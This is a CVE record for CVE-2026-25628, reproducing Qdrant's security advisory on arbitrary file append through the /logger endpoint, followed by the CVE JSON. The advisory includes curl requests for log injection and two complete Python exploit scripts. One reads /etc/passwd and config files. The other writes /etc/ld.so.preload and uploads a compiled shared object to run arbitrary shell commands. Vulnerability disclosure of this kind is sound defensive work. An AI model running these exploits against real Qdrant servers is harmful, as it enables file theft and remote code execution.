Qdrant is a vector similarity search engine and vector database. From 1.9.3 to before 1.16.0, it is possible to append to arbitrary files via /logger endpoint using an attacker-controlled on_disk.log_file path. Minimal privileges are required (read-only access). This vulnerability is fixed in 1.16.0.
Qdrant affected by arbitrary file write via `/logger` endpoint
Problem type
Affected products
qdrant
>= 1.9.3, < 1.16.0 - AFFECTED
References
https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f
https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1
https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195
GitHub Security Advisories
GHSA-f632-vm87-2m2f
qdrant has arbitrary file write via `/logger` endpoint
https://github.com/advisories/GHSA-f632-vm87-2m2fSummary
It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5
Details
POST /logger
(Source code link)
endpoint accepts an attacker-controlled on_disk.log_file path.
There are no authorization checks (but authentication check is present).
This can be exploited in the following way: if configuration directory is writable and config/local.yaml does not exist, set log path to config/local.yaml and send a request with a log injection payload. ThePATCH /collections endpoint was used with an invalid collection name to inject valid yaml.
After running the PoC, the content of config/local.yaml will be:
2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422
2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui
service:
static_content_dir: ..
2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391
Some junk log lines are present, but they don't matter as this is still valid yaml.
After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then local.yaml config will have higher priority and service.static_content_dir will be set to ... In a container environment, this allows one to read all files via the web UI path.
Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).
Relevant requests:
- Enable on-disk logging to the config file:
curl -sS -X POST "http://localhost:6333/logger" \
-H "Content-Type: application/json" \
-d '{
"log_level":"INFO",
"on_disk":{
"enabled":true,
"format":"text",
"log_level":"INFO",
"buffer_size_bytes":1,
"log_file":"config/local.yaml"
}
}'
- Inject YAML via a request that logs newlines (URL-encoded):
curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \
-H "Content-Type: application/json" \
-d '{}'
Full reproduction instructions
- Start Qdrant with a writable configuration directory:
sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5
- Run the exploit:
% python3 exploit.py --url http://localhost:6333
[+] Logger configured
[+] Log injection successful
[+] Logger disabled
Restart Qdrant cluster and press Enter to continue...
- Restart the container:
sudo docker restart qdrant-poc
- Resume the exploit:
<press Enter>
[+] Passwd file retrieved
--------------------------------
...
--------------------------------
[+] Config file retrieved
--------------------------------
...
Mitigation
- Limit usage of
/loggerendpoint to users with management privileges only (or better disable it completely). - Restrict the path of the log file to a dedicated logs directory.
This vulnerability does not affect Qdrant cloud as the configuration directory is not writable.
Exploit code
exploit_privesc.py
import requests
import sys
import argparse
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
args = parser.parse_args()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "config/local.yaml",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.patch(
f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a",
json={},
)
error = res.json()["status"]["error"]
if "doesn't exist!" in error:
print("[+] Log injection successful")
else:
print(f"[-] Error: {error}")
sys.exit(1)
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
input("Restart Qdrant cluster and press Enter to continue...")
res = s.get(f"{url}/dashboard/etc/passwd")
res.raise_for_status()
print("[+] Passwd file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
res = s.get(f"{url}/dashboard/qdrant/config/config.yaml")
res.raise_for_status()
print("[+] Config file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
exploit_rce.py
import requests
import argparse
import tempfile
import os
TEST_COLLECTION_NAME = "COLTEST"
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")
args = parser.parse_args()
assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
unlink("/etc/ld.so.preload");
system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)
with tempfile.TemporaryDirectory() as tmpdir:
with open(f"{tmpdir}/cmd_code.c", "w") as f:
f.write(so_code)
os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "/etc/ld.so.preload",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.get(
f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)
print("[+] Log injected")
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})
print(rsp.text)
# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`
input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()
Impact
Remote code execution.
https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f
https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195
https://nvd.nist.gov/vuln/detail/CVE-2026-25628
https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1
https://github.com/advisories/GHSA-f632-vm87-2m2f
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-25628Click to expand
{
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"cveMetadata": {
"cveId": "CVE-2026-25628",
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"dateUpdated": "2026-02-06T21:11:27.721Z",
"dateReserved": "2026-02-04T05:15:41.789Z",
"datePublished": "2026-02-06T20:44:13.487Z",
"state": "PUBLISHED"
},
"containers": {
"cna": {
"providerMetadata": {
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M",
"dateUpdated": "2026-02-06T20:44:13.487Z"
},
"title": "Qdrant affected by arbitrary file write via `/logger` endpoint",
"descriptions": [
{
"lang": "en",
"value": "Qdrant is a vector similarity search engine and vector database. From 1.9.3 to before 1.16.0, it is possible to append to arbitrary files via /logger endpoint using an attacker-controlled on_disk.log_file path. Minimal privileges are required (read-only access). This vulnerability is fixed in 1.16.0."
}
],
"affected": [
{
"vendor": "qdrant",
"product": "qdrant",
"versions": [
{
"version": ">= 1.9.3, < 1.16.0",
"status": "affected"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"lang": "en",
"description": "CWE-73: External Control of File Name or Path",
"cweId": "CWE-73",
"type": "CWE"
}
]
}
],
"references": [
{
"url": "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f",
"name": "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f",
"tags": [
"x_refsource_CONFIRM"
]
},
{
"url": "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1",
"name": "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1",
"tags": [
"x_refsource_MISC"
]
},
{
"url": "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195",
"name": "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195",
"tags": [
"x_refsource_MISC"
]
}
],
"metrics": [
{
"cvssV3_1": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"attackVector": "NETWORK",
"attackComplexity": "HIGH",
"privilegesRequired": "LOW",
"userInteraction": "NONE",
"scope": "CHANGED",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"availabilityImpact": "HIGH",
"baseScore": 8.6,
"baseSeverity": "HIGH"
}
}
]
},
"adp": [
{
"providerMetadata": {
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP",
"dateUpdated": "2026-02-06T21:11:27.721Z"
},
"title": "CISA ADP Vulnrichment",
"metrics": [
{}
]
}
]
}
}